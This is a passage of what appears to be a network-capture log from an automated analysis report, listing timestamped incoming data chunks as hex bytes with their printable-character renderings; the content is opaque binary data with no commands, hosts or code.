2022-07-20 07:08:24 UTC	869	IN	Data Raw: 6d 3b 37 cb f3 06 5e 9d 0f 07 b7 4c f7 e6 ab db 69 fa 7d e4 2a 53 73 23 47 b5 a3 93 ef c6 dd 7e 6f ef 28 a3 95 bd 18 73 75 36 ed 6f 2c f5 8b 39 d1 d5 65 f2 3f d5 c9 69 02 2f 24 f0 1b 78 0c c0 0e 14 67 8f 7a 82 e7 c3 d1 c3 36 25 66 b9 79 62 46 8d a3 64 7f 25 71 91 9d 83 8e 3a e7 bf 7a e7 62 86 ce d6 e2 e6 48 a7 8f cf 56 f9 96 75 dd 14 6a 38 f5 fb c4 d4 d6 de 34 82 d6 69 ff 00 b0 f5 a6 b3 68 a3 2d 3b 79 1f 79 1b 0b 8c 37 a3 63 81 cf 35 2e 0a 2e e8 9e 77 d4 f4 0f 09 db f8 6a 6b eb c4 d4 67 b1 b6 b7 96 0d b2 33 5a 16 97 8e 07 97 8f ba 4b 1e a2 b6 e1 f0 bf 86 2d 66 88 59 f8 cd a2 7e 16 45 9e 37 6f 26 31 95 c0 5e 18 ed f6 ef cd 79 55 be b5 1d e4 d0 07 d4 1a fa 59 18 f9 90 37 f1 2f 4e 00 1f 8e 7b 56 8d 83 5d a6 9f 73 04 93 fd ba d6 25 dd e5 df 28 6f b3 b6 7f e5 Data Ascii: m;7^Li}*Ss#G~o(su6o,9e?i/$xgz6%fybFd%q:zbHVuj84ih-;yy7c5..wjkg3ZK-fY~E7o&1^yUY7/N{V]s%(o
2022-07-20 07:08:24 UTC	933	IN	Data Raw: 21 f0 df 84 be 1d 78 4e fa df 53 f0 e2 eb 9a 1f 9f 1b 47 63 02 a2 5c ab bf 21 be d1 c4 8c bc e3 a2 f1 b7 8e f5 c3 68 ff 00 b3 fc 3a b7 88 97 54 d6 2e 22 f0 8f 87 6e 26 13 c1 a5 f9 9f 68 ba 8e 2e a1 4b 11 b3 f5 27 d4 57 93 4f 39 a1 25 29 cd 38 c5 6c f4 d7 c9 2d ef f2 f9 87 31 e5 9a 1f 80 7c 49 e2 2d 42 0b 4b 2d 16 ee e6 e2 78 8c f1 2b 47 b1 5a 31 d6 4c b6 06 df 7a ca d6 34 bb fd 26 eb ca bd b3 92 cd e3 63 1f ef e3 2b f3 0e a3 d0 d7 d2 bf 16 35 ed 0f c4 ed a6 5c e8 fa d4 fa 9d d4 73 49 2c 9a 5c 7b fc d6 4f f9 e6 57 18 da 71 b8 a8 3c 0e 95 e6 de 2d f8 e5 e2 bf 1a 69 f7 3a 24 b6 da 6d 9e 89 73 2a 32 db 2d a0 75 b7 da 30 be 59 6c 95 18 f4 ad b0 d8 9c 5d 75 1a 9e cd 28 bd ee da 6a df 7d ff 00 00 d4 f2 54 63 bb ef 7c b5 65 2d e5 9b a2 fc ab f7 99 be 55 fc eb a8 Data Ascii: !xNSGc\!h:T."n&h.K'WO9%)8l-1\|I-BK-x+GZ1Lz4&c+5\sI,\{OWq<-i:$ms*2-u0Yl]u(j}Tc\|e-U
2022-07-20 07:08:24 UTC	965	IN	Data Raw: a8 d5 6d f4 7d 6e 15 78 a7 bb b6 75 8c 32 c8 cc ef bb 3c e7 fc 8a f6 b2 da d3 9c 1c 1f d9 fc 8f 27 1f 46 34 e6 a4 ba fe 66 85 9e ab 6e 6f 18 8b e5 8a 46 ff 00 a7 bf e2 ff 00 74 d4 17 9e 2c b4 d1 6e 19 0c b2 5c ba ff 00 12 a9 dc cc 7a 8f 97 e5 fd 2b 26 df c0 f6 c9 b5 ee 2e 56 f1 db 1b 7a 6e fc ab 52 ff 00 c3 b7 3f 63 5b 73 78 da 65 9a e7 72 ed 1b db d0 60 73 cf d2 bd 7e 67 63 cb 48 67 f6 f4 57 cd 11 b7 d0 64 6f 33 3b 9a 48 c2 ab 7d 0f 51 f9 54 ff 00 6e 6b 99 3f e3 ce 7b 35 65 fb ab 2f f8 55 6b 1b 0d 32 cd a2 78 da fa f9 64 f9 a4 f3 1b ee ff 00 c0 57 a9 1e e6 a5 d5 2f d2 de 68 ad d1 be cd 13 47 b9 a3 9f e4 fa 1e 09 6a 69 85 b5 35 7f b6 2d 34 f5 95 1e 5b 96 95 7f e5 9c 6a 8c b8 ff 00 6b 72 71 58 d7 9a e4 56 b7 4c 2d e2 68 ba 79 8a b0 22 ed cf 39 ed 9f c2 8b Data Ascii: m}nxu2<'F4fnoFt,n\z+&.VznR?c[sxer`s~gcHgWdo3;H}QTnk?{5e/Uk2xdW/hGji5-4[jkrqXVL-hy"9
2022-07-20 07:08:24 UTC	1052	IN	Data Raw: 56 b7 0d e4 40 cb bb f7 ff 00 2a fa f5 af 75 d1 fc 65 a2 68 f6 eb 25 ef 82 e0 f1 45 fc fb f7 5c dd dc 9d b0 af 18 2b 00 23 fe fa 27 af dd f4 ae 67 5b f1 16 97 79 a4 dc b8 b6 59 5e 26 4d f6 cd 38 df 1c 7d f0 b8 ce 7f 31 45 fb 94 95 ce 37 44 f0 5e b1 1d bb 5c fc b1 58 4a bb 64 fd f8 55 64 3e bd 78 ad c9 9e 3d 06 dd 6c ed e3 8e 28 96 54 9d 5a 46 de 92 67 85 2c 3b e3 9f c2 b5 bc 3d 75 e1 4d 6b ca 91 ed 9a 05 91 4c 52 46 b8 dc ca 78 e5 79 1f 8d 61 f8 e3 44 4d 36 d6 da de ca 26 db 13 1d bb 59 df cc 4f 52 72 54 63 f0 a6 2b 1a 3e 2a f0 dc 49 7d 6d 7b 3b 5b 5b 36 a4 a5 56 45 8f f7 0b 20 19 e5 7a 28 23 ad 63 e8 ed 65 67 a8 5c d9 df dc db 32 f9 9e 54 be 5f fa a9 97 aa 95 76 c9 e3 b6 31 c5 56 d2 ae b5 8f 14 c7 f6 0f 29 b5 38 a2 61 e5 2c 92 6d 65 61 d9 6b 3f c6 76 7a Data Ascii: V@ueh%E\+#'g[yY^&M8}1E7D^\XJdUd>x=l(TZFg,;=uMkLRFxyaDM6&YORrTc+>I}m{;[[6VE z(#ceg\2T_v1V)8a,meak?vz
2022-07-20 07:08:24 UTC	1131	IN	Data Raw: f2 20 b5 59 7c c6 8e 48 03 6d 6c 74 0b 8f 94 7b 01 5d 0c 36 1e 28 d1 ec 62 93 c3 76 d3 5b 5b c9 03 dc cf 1a dc c2 d7 2a aa 39 2e 14 ee 5c 8f e1 22 a9 58 b5 ee b7 6b 05 c4 17 2d 63 74 ab ba 76 81 4b 34 9e ec 4a fc b8 fc 6b 36 f5 34 47 39 27 8b 35 ab c9 9a 36 8a 76 56 5d cd 1f 96 ec ca be a3 d0 7b d5 f8 ef bc c6 b6 7b b5 be 81 64 8f cb 8a d2 38 fe 59 30 71 fc 5f 78 03 e9 5a 76 be 20 9e d6 36 b9 92 f2 5b 97 68 cc 7f e9 32 6e 89 57 3d f6 81 b8 fd 78 a9 13 c6 9a ee a9 a1 ff 00 67 df b4 97 9a 6d 9c 9f e8 50 7d d8 23 66 3f 33 28 fb ab c7 a5 22 8d dd 35 7e d2 d6 31 dc 69 f3 cf 03 67 74 6b 26 ef 33 1e a1 7f 3a c7 d6 f4 7d 42 d9 6e 6f 2c 34 a9 ec ed da 4f dd 5b 33 07 5c 77 c6 7e f6 7a f5 fc 2a 25 d4 91 bc ab 6b 6d b6 cc b2 6e 92 35 8f d7 f8 a3 e7 3f f0 2f e7 57 e4 Data Ascii: Y\|Hmlt{]6(bv[[9.\"Xk-ctvK4Jk64G9'56vV]{{d8Y0q_xZv 6[h2nW=xgmP}#f?3("5~1igtk&3:}Bno,4O[3\w~z%kmn5?/W
2022-07-20 07:08:24 UTC	1163	IN	Data Raw: 1a c7 94 6f a3 0e 8a de a2 b3 2d b5 0b db cd 53 cc 92 5f 35 23 60 be 65 db 7c b1 fb 0c 67 f4 ae df 47 ba 9f 5e f3 6e 52 78 2c ee ae 64 f2 fc 89 18 b2 5c 7f 7b 71 3d ff 00 da 3c d5 cb 77 b2 fb 1c 91 5d f9 96 6c b9 81 61 93 f7 b1 6d f5 03 83 9f e5 54 a4 fa 83 48 e4 2d 93 4f 5f 36 04 d4 2e 7e d0 df 37 99 b7 62 46 e3 b6 39 38 34 8f 60 2d 7f 79 1c ea ce cb f3 2f f1 32 9f 42 38 35 77 57 d3 75 08 64 91 0c ab 79 13 37 cb 23 29 56 65 ed 8d df 30 35 9f 67 fb e9 a2 fe 2f 9b 6d 69 1e e4 cb 47 63 d8 7f 66 9f 01 dc 78 8f e2 66 8b 79 26 9f 25 e6 93 67 38 9e e6 4f 20 b4 51 ed 19 50 dd b9 3c 63 ad 7d b7 36 95 35 e6 a9 73 77 6f 03 5b 59 32 85 58 fc b2 ad 0e de e8 3e f6 06 78 cf 7f a5 61 7e c3 bf 0e 7c ef 84 77 9a 9a dc af fa 66 a4 ff 00 bb 5f bd 1f 96 81 79 c7 ae ef ca be Data Ascii: o-S_5#`e\|gG^nRx,d\{q=<w]lamTH-O_6.~7bF984`-y/2B85wWudy7#)Ve05g/miGcfxfy&%g8O QP<c}65swo[Y2X>xa~\|wf_y
2022-07-20 07:08:24 UTC	1219	IN	Data Raw: fc db 7e f2 d3 ef 75 1b bb 99 3c c9 6e 67 6f f7 98 ee 5a a5 f6 c9 1a 4f f5 5f 3a d5 8b 3f 36 f2 4c 48 cb 14 5f c5 bb fb d4 01 55 d7 cc 6c bb 33 7f bd 53 db c6 63 6f 30 b3 6f 56 f9 5b ef 50 b6 32 5c cd e5 c7 f3 37 f7 97 ee af d4 f6 ae cf c3 fe 01 37 d7 11 47 78 cd 15 ba b0 69 75 2f 33 fd 19 50 ff 00 0e 47 56 3d 38 a4 c7 af 42 9e 9b 1d cf 8a 2e a2 b3 83 4f 6b 97 65 f2 ff 00 d1 a2 1d fa 13 8e 9f 8f 5a e8 bc 25 61 71 0e b9 2d ae a1 a0 c3 aa a3 48 23 96 fa e6 39 11 61 db ee a0 e3 fd dc 12 4f 6a e8 34 3f 12 6a de 0f d4 1a db c1 fa 2a df 59 da c8 cd 16 a9 05 93 af 9c 7f 89 58 b8 fd e7 1f 2f 3f 51 5d 1c 9a 87 8c fc 43 a6 d9 a5 95 e5 8e 83 a6 c9 21 69 27 f3 d3 6e f6 3d 64 0b 92 a4 1e 9e d5 9b 93 1a dc e5 92 df c2 f3 78 92 ce 08 3c 1d 3d cd d3 29 f2 ad b5 26 74 49 Data Ascii: ~u<ngoZO_:?6LH_Ul3Sco0oV[P2\77Gxiu/3PGV=8B.OkeZ%aq-H#9aOj4?j*YX/?Q]C!i'n=dx<=)&tI
2022-07-20 07:08:24 UTC	1235	IN	Data Raw: 55 da 78 4f e1 be a3 ad 34 17 32 ab 5b 69 7e 7a 2d dc 92 65 7c 98 cb 73 27 ae df 71 9c 51 74 1a 9e 71 70 a5 57 95 6a 8a 4c 32 a8 0b f7 6b dc 3e 2d 7c 10 4d 2d a7 d5 fc 29 ff 00 13 3f 0f b2 ff 00 ab 8e 4f 35 a3 51 fc 48 df f2 d1 3b fa 8a f1 16 1b 1b 03 ee d1 b8 d0 91 a8 65 cf f0 d4 ca 7c b8 db f8 6a 14 62 bc 0a 92 3b 72 fc bd 22 8d 6d 3b 5c 93 4d 8f cb b7 95 a2 56 5f 99 55 be 5e 7a f1 59 13 32 74 5d db 77 7c b4 8d 66 59 be 4d db 6a ac 8a 63 dc 1f ef 50 3b dc 9f 84 ff 00 7a 9f 67 6f 2d e4 cb 05 b4 4d 3c b2 7d d5 5f bd 55 55 cc 9b 50 f4 fb b5 e8 16 3f d9 1a 24 8a f6 93 b2 da aa 86 93 6a ee 9e 66 23 ee 83 d3 83 48 0c ab 6f 04 ea fa 55 8f f6 ad dc b1 e9 f6 ea db 55 b7 6e 7d de 98 1f e3 5a 76 37 cf a2 78 7e 59 52 76 8a 59 18 2c 4a ab fe b3 fd a3 e8 3d 2a a5 f6 Data Ascii: UxO42[i~z-e\|s'qQtqpWjL2k>-\|M-)?O5QH;e\|jb;r"m;\MV_U^zY2t]w\|fYMjcP;zgo-M<}_UUP?$jf#HoUUn}Zv7x~YRvY,J=*
2022-07-20 07:08:24 UTC	1306	IN	Data Raw: 63 3f 62 d5 27 91 37 ef fb cd 08 0f f7 81 1d 17 d7 a5 27 15 1d 47 cc de 87 99 5f ae b7 e1 dd 36 cc db fd 92 7b 39 1b cc 8e 48 15 25 96 3f fa 67 27 19 1f 8f e1 50 49 f1 09 ef da 78 24 45 b1 8e 5d 8d b9 64 2c aa c3 ae 01 ce 33 e8 2b a4 4d 13 c4 1a 0e 96 b7 06 da 7b cd 2e da 47 92 3b c9 23 3b e4 b6 ce 01 da a0 e0 0e e0 12 45 45 73 7f a7 c7 70 b7 12 e9 f6 9a 7b c8 de 67 ef 2d 0e e9 10 f7 50 e0 55 2b 13 aa 32 2d 9a f2 ff 00 4f bc 7b 7b 98 f2 ca f2 cb 1f de 66 45 ef 9e 95 d0 f8 56 1f b4 f8 66 79 75 98 b5 4b 6f 0f cf 85 8e e6 38 cb 23 48 7a 6d cf 0d 8e a4 71 c7 7a ce d2 bc 67 a9 df ea 96 76 96 90 47 2d aa ca 15 6d 15 51 16 45 63 d1 9b 8c 0c fe 02 bb ff 00 0f 78 77 c4 ba 96 bd 3c b6 77 3a 7d ce df dd 4f a5 b5 ef 9e 91 a1 3c 2a c6 32 4e 7d 46 31 d7 20 55 59 93 26 Data Ascii: c?b'7'G_6{9H%?g'PIx$E]d,3+M{.G;#;EEsp{g-PU+2-O{{fEVfyuKo8#HzmqzgvG-mQEcxw<w:}O<*2N}F1 UY&
2022-07-20 07:08:24 UTC	1314	IN	Data Raw: f5 57 be be b6 bf f5 e6 4b bd ec 62 cf e1 ff 00 18 78 9b 45 96 e1 2e 63 9d 5b cb 6b 45 81 8a f9 28 09 ce 42 8c 02 38 18 cd 5d 3e 3e 1a 4e 87 10 91 b5 0b ed 4a 38 96 3d 5e 4b bd cb f6 76 38 29 c6 d0 4f 1c f5 23 de b8 1f 1f db 6b 7e 0c 8e c6 f7 4f d4 ee 6d ac ef 25 dd 1c 76 d7 be 6b 2b 2f 46 38 39 07 d8 81 54 6f 3c 0b e2 5d 62 46 d4 6e f5 78 2e 75 6d 42 30 de 5a b1 f3 66 5e 33 bf 6f 4c 77 cf 5a f4 a3 87 a7 ec ed 88 9a 50 96 ca d6 f9 32 ac ad 76 cf 50 b5 f1 54 37 17 96 6f 34 f6 da 9d ac aa eb 05 cd dc 7f ba dd 8c 73 95 f9 08 3f c3 9a 92 d7 c4 df d9 fa f5 cd a6 bb 73 1d 9d ae dd df 64 92 07 58 24 46 19 03 62 60 80 7b 76 af 38 93 49 f1 57 85 74 7c 49 f6 4b eb 55 9c 2f 91 1f fa dc 63 d3 be 7a 54 5a df 8e 27 f1 85 bc ba 75 9e 86 cb 2a e1 62 b6 b1 81 fe 66 1c 65 Data Ascii: WKbxE.c[kE(B8]>>NJ8=^Kv8)O#k~Om%vk+/F89To<]bFnx.umB0Zf^3oLwZP2vPT7o4s?sdX$Fb`{v8IWt\|IKU/czTZ'u*bfe
2022-07-20 07:08:24 UTC	1354	IN	Data Raw: 1b 8a d0 85 ed af f5 6b cb db 2d 06 0d 16 de ce 5f 36 e6 e5 94 ca eb 83 81 87 5c 01 8f 99 b6 9c 7c be 99 ae 19 34 1b 8f 87 fa e6 9f 09 d2 19 e2 d4 67 75 8b 50 82 db ed 93 c8 99 07 1f c2 84 26 77 13 90 3b 80 33 59 3f 15 fc 61 a3 fd a3 55 97 4f be 9f ed b3 b7 ef ee d6 43 b3 67 00 47 b7 fd f1 9c 82 47 b9 af 5e 8e 02 a6 22 6a 14 ae e3 2d 79 ba 6b be 8a d6 f4 77 d7 a1 a2 4f 6e 87 2f fb 51 78 b7 43 d6 26 d2 2c b4 7b eb 9d 42 ea 28 b6 df 4f b4 a4 4c d9 ca e1 49 3f 36 ed c4 e3 e5 f4 51 5e 6d e1 1f 1c 5e 5b df 59 9d 5f fe 26 ba 6d 9a 85 6b 1b b9 0a ab 20 3d c8 39 cf 61 ed 58 7e 2e d4 12 fa f2 09 7c d9 fc d5 8c 2c ab 33 6e f9 c7 f1 2f b1 a8 34 5d 2a ef 5e d4 20 26 09 1a d5 58 2c d2 2a ec 55 51 d7 9e 9d 2b f4 ec 3e 1a 38 7a 2a 8a d5 2f eb a1 6d eb 73 b4 d2 bf b3 a1 Data Ascii: k-_6\\|4guP&w;3Y?aUOCgGG^"j-ykwOn/QxC&,{B(OLI?6Q^m^[Y_&mk =9aX~.\|,3n/4]^ &X,UQ+>8z*/ms
2022-07-20 07:08:24 UTC	1386	IN	Data Raw: 4d 37 4c ba 9b cc dc df 37 de f2 db 6b 6d ef 55 ee 7c 3f a7 2e e1 6d 7d 23 37 de db b7 76 df a9 ac eb ef 3e c7 ca 5b 7f 31 51 57 e6 56 6d cb bb e9 ff 00 eb ab 29 e2 1b f7 f2 84 bb 57 fb ac d1 8e fd e9 5c 25 6e c5 8b 1d 3e 08 95 7c f6 dc 9f 7b 73 7f 74 75 c6 7b fa 55 5b 9b 8f 2e 66 92 2d aa 9f c2 ad f3 7f fa ab 62 e7 c4 96 57 51 db 5b 79 52 44 9e 57 97 73 73 23 6e 69 1f 39 dd 8e ca 3a 0e f5 1a e9 36 ef 1e f8 25 dc ab f7 9b cf 1f c8 8c 8a ad f5 23 97 a2 20 d2 bc 43 73 61 24 42 de 56 54 dd b9 a3 66 3b 1b f0 ad d9 35 e8 f5 29 27 b8 3e 62 dd 48 db b6 c7 96 dd f8 f5 ac 7f ec 73 0a ac 92 6e 89 1b ee b3 6c da df ad 36 e7 ca 85 58 c1 78 ac bf 7b 6a e1 5b f1 a4 3b 49 1d 03 35 a3 c3 99 e2 da db 47 cb bb cb 65 fa 7a d5 48 75 2f 2f 70 8a 59 3c a6 fe 1f bb bb fa 56 55 Data Ascii: M7L7kmU\|?.m}#7v>[1QWVm)W\%n>\|{stu{U[.f-bWQ[yRDWss#ni9:6%# Csa$BVTf;5)'>bHsnl6Xx{j[;I5GezHu//pY<VU
2022-07-20 07:08:24 UTC	1417	IN	Data Raw: df ec 37 77 6a f3 ac 6a c0 95 01 86 36 bf 63 9f ad 73 96 1e 22 b4 b7 d7 22 b8 b8 83 ca 8b 68 db 1c 32 17 55 e3 1c 93 c9 f5 ae d7 c1 f3 6a 3e 23 8e 0f ed 18 a4 d7 20 f2 24 55 b4 66 0d bb 3f 74 75 e3 d9 8f 4a e6 3f e1 57 5d db 5e 41 6d aa dc ff 00 60 dc 5c b6 e8 ad ae e0 2d 2e c2 70 ac 31 cb 67 a7 14 93 49 d9 8f a6 87 53 e0 ed 73 43 b6 ba bc b6 bd 5b 6b cb 3d cd 22 cd 1e f5 68 f0 7a 46 07 df cf f7 5b 8a c5 f1 9d bd a6 ab ac 41 a8 f8 7e 2d b2 ea 52 4d e6 c0 cb b2 08 5f 77 0c ae f8 50 a5 4e 48 3d 0e 6a 5f 0f fc 28 4f b0 ad ed e6 ab 03 37 9a 63 68 2d 24 dc d1 e3 bb 36 0e 09 ec 2b b1 d4 3c 07 a8 5f f8 2e 0b 0b 4f 14 49 06 8d 3d db c9 1e 9f 3e 1e 35 99 00 56 93 03 ee 7d e5 5d c7 9e 45 4b 69 3b 8e cc e3 ac 3e 1b e8 76 ab b3 51 d7 17 50 bc 8f fd 6d a5 8f dd 5e 3b Data Ascii: 7wjj6cs""h2Uj># $Uf?tuJ?W]^Am`\-.p1gISsC[k="hzF[A~-RM_wPNH=j_(O7ch-$6+<_.OI=>5V}]EKi;>vQPm^;
2022-07-20 07:08:24 UTC	1537	IN	Data Raw: fa 7d ba bc 71 c9 7d 6a f2 1f 2d a7 f9 bb 72 31 fd e1 ec 7f 3a 6d 86 bc 34 f5 68 cf 99 03 af cd b9 be 5f 97 d2 b4 39 fe 17 a9 dd dc c7 f6 69 a2 fb 4d b4 b6 6f 1f f7 a3 2a b2 73 d7 de a4 85 2d 26 5c 86 f9 77 7c de 42 d7 24 bf 10 12 e2 3f 2e f2 59 2e 51 bf 85 9b 73 2a 8f ee e7 bd 68 69 ba a4 4d 1c 5b b6 c1 e6 2f 98 bf c4 ac b4 59 f5 29 49 33 d8 34 fb 6d 13 fb 17 4c b4 bc d4 27 d2 92 76 32 ca cd 18 dd e5 e3 04 af 20 ae 7b 75 cf 5a e1 3c 41 a7 d8 59 ea 1e 45 85 cc 7a ad ba a9 f2 a4 81 4e e9 14 7a ae 3e 46 ef 59 d7 37 56 eb 0e ef 99 97 f8 9b 76 e5 5a a2 ba b7 d8 db cf b2 be db 32 fd df 2e 4d af ff 00 d6 a9 50 6b 54 ce 97 53 99 25 61 cd a5 4f 75 32 c7 65 02 b5 d3 7f cb 39 30 ad bb d0 64 d7 43 0f 80 23 9a 45 46 bc b1 58 f6 06 91 64 67 db 0b 63 27 e6 03 e6 cf fb Data Ascii: }q}j-r1:m4h_9iMos-&\w\|B$?.Y.QshiM[/Y)I34mL'v2 {uZ<AYEzNz>FY7VvZ2.MPkTS%aOu2e90dC#EFXdgc'
2022-07-20 07:08:24 UTC	1553	IN	Data Raw: 3b eb 99 20 ba 82 45 66 db 85 51 19 6f fb 67 f2 af d2 bd 4e fe e6 c9 34 b5 7d 52 fb 4d b1 82 5f f5 57 7e 1d 9e 48 1b 83 ce 3c ae 77 83 c6 0e 45 72 b6 ba a6 95 a9 78 82 d2 e6 df 5a be d4 35 19 e3 7b 48 ff 00 77 34 53 aa 10 57 32 13 86 77 c7 f1 6c 1f 5a 43 5a 0e d2 bc 3f 7b a5 c9 3d c5 ef 89 74 68 2f 6c 54 ad a5 a6 97 05 aa 2e fc 7d ed 84 26 c3 fe cb 39 1e d5 ad e1 5d 2a 7b 9d 2e 7b 7f 10 de 49 e2 8b dd 4a 57 91 63 92 08 d1 21 cf 1b 63 31 c8 42 71 cf 5e 7f 4a a9 6b f0 cf 43 78 62 7f 10 59 b5 b2 45 2f ef 64 9e c2 14 49 14 7d d0 db bb 7f b5 eb 5d d5 b5 8c be 1d f0 ad e2 78 5e 7f 2a e2 da 4f 32 35 8e 00 ed e5 93 9f 2c 6e c6 01 fa e2 98 18 d6 1f 0a fc 9f 36 34 d5 6e e5 57 5f dd 4e b2 1d b0 bf fb 25 72 73 8f 94 e7 8a a3 e0 cf 06 1f 0e dc 6a 1a 65 c7 fc 4f 34 b9 Data Ascii: ; EfQogN4}RM_W~H<wErxZ5{Hw4SW2wlZCZ?{=th/lT.}&9]{.{IJWc!c1Bq^JkCxbYE/dI}]x^O25,n64nW_N%rsjeO4
2022-07-20 07:08:24 UTC	1641	IN	Data Raw: cf 20 fb d7 9e f8 0b 55 d7 6c f5 cb 6f ec e8 2e e7 b8 55 fd c3 47 b1 16 35 07 ab 8c 13 c0 1d 0f 4a f6 ef 0f fc 7b bc fb 3f d9 bc 4a d2 47 6f 2a f9 96 d7 cb 18 95 a3 cf fe 84 0f b5 79 7f 89 a4 bf b0 d6 a5 b8 96 db 46 9e 2d a2 e6 d3 56 d1 a4 36 b2 c7 1f 2c 0a 63 e6 5f 75 2b 4e 3c d1 f8 85 2e 57 69 46 ff 00 a9 e9 3a c7 c5 ed 2b c6 16 b0 58 5d dc ac be 20 8d 4c 16 d7 30 2b a5 ac 8e d8 04 b9 1f 36 3d 4e dc 7d 2a 7f 87 7f 16 2f 57 5c b3 f0 e1 8e da da de 39 ca ce b2 4a fb 9b 6f de 23 a6 7d b2 7f 0a f3 3b ef 0c c9 aa 5b c5 aa 6a 7a be 9f 63 a7 4a a3 c8 b6 9e d8 4f 2c 88 dc 96 8d d3 1b df fb dc 71 df d2 bb 6f 0f fc 28 97 54 b8 d2 af 6d af 97 53 b3 56 76 8e fa 45 fd fa a1 1c 17 5c 92 71 db d0 54 5a 29 16 9d 47 24 cd 8f 8b bf 15 ec bc 49 a1 dc e9 da 6c fe 45 af 9e Data Ascii: Ulo.UG5J{?JGoyF-V6,c_u+N<.WiF:+X] L0+6=N}/W\9Jo#};[jzcJO,qo(TmSVvE\qTZ)G$IlE
2022-07-20 07:08:24 UTC	1728	IN	Data Raw: bb d4 23 58 d1 a4 70 73 c8 c8 5f aa fa 7e 75 16 9b a7 c7 67 a7 fd b2 e2 c7 ca 46 fb d2 7d 9b 7f da 39 e0 6f 1d 07 6e b5 25 f7 89 ad be c7 2d 94 9a 7b 59 b2 ce 24 92 e5 9b e5 8d b7 61 72 d8 3b 7d cd 46 e6 d1 d1 6a 4b 63 e0 6d 3a 4f 13 41 a8 eb 2d a7 e9 49 2a b4 72 58 b2 85 66 76 39 5d a7 1d 09 e4 36 49 1d 01 ae b7 5e f0 7e a1 e5 db 1d 0a 7b 16 b5 8b ef 5b 5f 61 a2 db db 83 e9 fd e1 83 5c ed be 92 5a 1d 4e de 2b e9 ec 6d 7c b4 96 f5 ae 57 cf 8a 6e b8 c3 00 78 07 d3 1c 55 4f 0f 7c 44 49 23 6d 32 79 60 95 24 62 aa ac be 52 c8 84 ff 00 00 63 f3 7a e0 e0 fb d6 7a 9b 68 8b 1a e7 84 f5 f6 d2 ed a2 92 cf 4f fb 6b 2b b2 c1 69 86 56 6c 8e 4e 71 db a7 a5 71 da a7 8b 7c 5b a6 cd 05 92 68 76 da 7d c4 0a 90 6e 82 e6 48 19 97 e6 24 9e 83 9e ed db b5 7a 25 c7 c5 4d 2a de Data Ascii: #Xps_~ugF}9on%-{Y$ar;}FjKcm:OA-IrXfv9]6I^~{[_a\ZN+m\|WnxUO\|DI#m2y`$bRczzhOk+iVlNqq\|[hv}nH$z%M
2022-07-20 07:08:24 UTC	1784	IN	Data Raw: 27 91 56 75 0f 16 dc eb 9a 84 b0 dc d9 ae 99 36 9f 14 d0 69 f6 da 35 ce d5 58 dc 70 56 26 39 56 db 9d db 89 dd b9 81 aa 17 da 83 c3 e1 d8 22 b6 b3 82 4b 35 64 66 82 e6 c0 79 92 7c 83 cc c7 98 bb 55 37 7d df 9f 2a 5b df 8a b0 9f 72 ae 97 e2 0d 3e c3 6b ff 00 c2 39 e5 5e 5d 46 56 56 59 26 64 54 7f 95 f7 79 84 9d bf c5 b8 36 03 1e b8 f9 4f 43 1d ae 9d aa fd a6 cb 4f 5d 53 43 b5 8a 73 2c 7f 69 b9 2b 14 2a 7e ef 99 1e 30 87 a2 ef 44 5d c3 9f 4a cf bf d5 af 74 db 5f b1 25 b6 96 b0 7d b5 e4 b4 d3 e6 52 f7 36 e9 2a 0d cb 29 5c f9 d1 15 e8 ab bf 07 9e 39 ca f8 82 c6 0d 2b c5 df 6b 83 53 b1 d7 2c bc c8 56 56 5b 93 12 ec d8 13 c8 95 66 01 81 f9 7e 62 0b a8 eb f4 9f 52 a2 8c bf 12 2c 71 db cb 16 91 16 a5 a8 69 d7 2a 15 bf b4 26 5f 3e 67 5e 3a b1 65 db c3 60 28 e0 1e Data Ascii: 'Vu6i5XpV&9V"K5dfy\|U7}[r>k9^]FVVY&dTy6OCO]SCs,i+~0D]Jt_%}R6)\9+kS,VV[f~bR,qi&_>g^:e`(
2022-07-20 07:08:24 UTC	1863	IN	Data Raw: 8e 79 63 ca b2 af df dc 7b 57 9e eb 5e 2d 3a 4c 99 b0 be 8e 26 89 bc d9 7f 77 fe cf dd e0 90 c4 e7 9f 6a bf f1 2a de 4b 7f b0 de 5b c1 e4 2e e3 f6 96 fe 06 4c 1e 0f d7 d4 66 b4 2f 3c 3f 60 fe 03 82 09 55 75 5d 42 f2 2f 3e 29 2d 19 15 5a 7c 36 14 76 20 0f 97 1f 5a bb a5 66 ce 79 a9 4a fc ba 18 ef 6d 6d 1f 82 57 5f 95 5b ed 52 5b 16 bd b6 65 fd d3 29 24 29 07 83 f7 86 41 f4 a8 bc 33 26 af a8 e8 b7 32 8b 66 5d 3a 59 21 fd fb 2e ff 00 33 23 05 50 f1 8e 07 39 e3 15 97 e1 ff 00 17 3e b3 a0 ad 9f 89 59 96 c2 c6 24 8e da 46 5d af 6e a3 86 18 03 e7 e0 77 18 fb bc f6 a8 20 b6 d6 13 5e be b7 b3 be 9d 74 d6 97 ed 36 9b 7f 74 93 63 18 62 9e 98 eb 8e 4f 6a bd 75 4c c2 eb dd 92 db f5 2d eb 7e 1b 92 e7 52 be 36 72 b6 95 79 1d a7 97 1c f7 2c 55 95 8f 53 b9 78 28 47 4c 8c Data Ascii: yc{W^-:L&wj*K[.Lf/<?`Uu]B/>)-Z\|6v ZfyJmmW_[R[e)$)A3&2f]:Y!.3#P9>Y$F]nw ^t6tcbOjuL-~R6ry,USx(GL
2022-07-20 07:08:24 UTC	1927	IN	Data Raw: b3 b3 30 c8 22 4d d0 fe f3 b0 53 e5 ee 18 e2 a4 bc b7 4b 5b c6 8a 4f 04 e9 71 69 ca c5 b7 68 d7 3e 55 d3 48 06 e5 2a 98 fd de 76 fd ec 67 b3 75 a4 3b 1d 17 fc 27 da bf 82 64 be d3 ef 1a 38 a7 56 12 d9 49 7d e6 4b 2e c7 e7 ca 3c f4 ec 18 16 19 e2 bb 1b 99 2c 3c 67 a2 fd b2 39 e7 82 ea d9 77 2c f6 cc 6d 9d a4 c7 0a af 9c 3a 9f bb cd 78 c5 ff 00 c4 8b db 5d 16 09 ec ac f5 2d 06 d6 2b d4 83 ec d6 96 41 22 b7 93 b4 ad bd 9a 4c 7d 3e 4c e7 91 5e a9 a5 6b 9e 2d 9b c3 72 ff 00 68 45 a6 eb c9 3f ee e7 b6 5b d4 81 16 3f ef 63 04 f3 df e6 eb db bd 2b 75 1e cc f2 94 48 be 15 c3 e2 3b df 12 db 5d eb 96 ba aa 9f f8 f9 82 6b c4 d3 e1 61 df cb 3f 77 b1 23 93 5d fe 83 aa 5b db 59 f8 72 db 40 82 d1 6d 64 b2 2c b7 d6 cb b2 28 f2 32 c5 d5 f3 22 f1 f2 85 24 7d ea eb bc 07 74 Data Ascii: 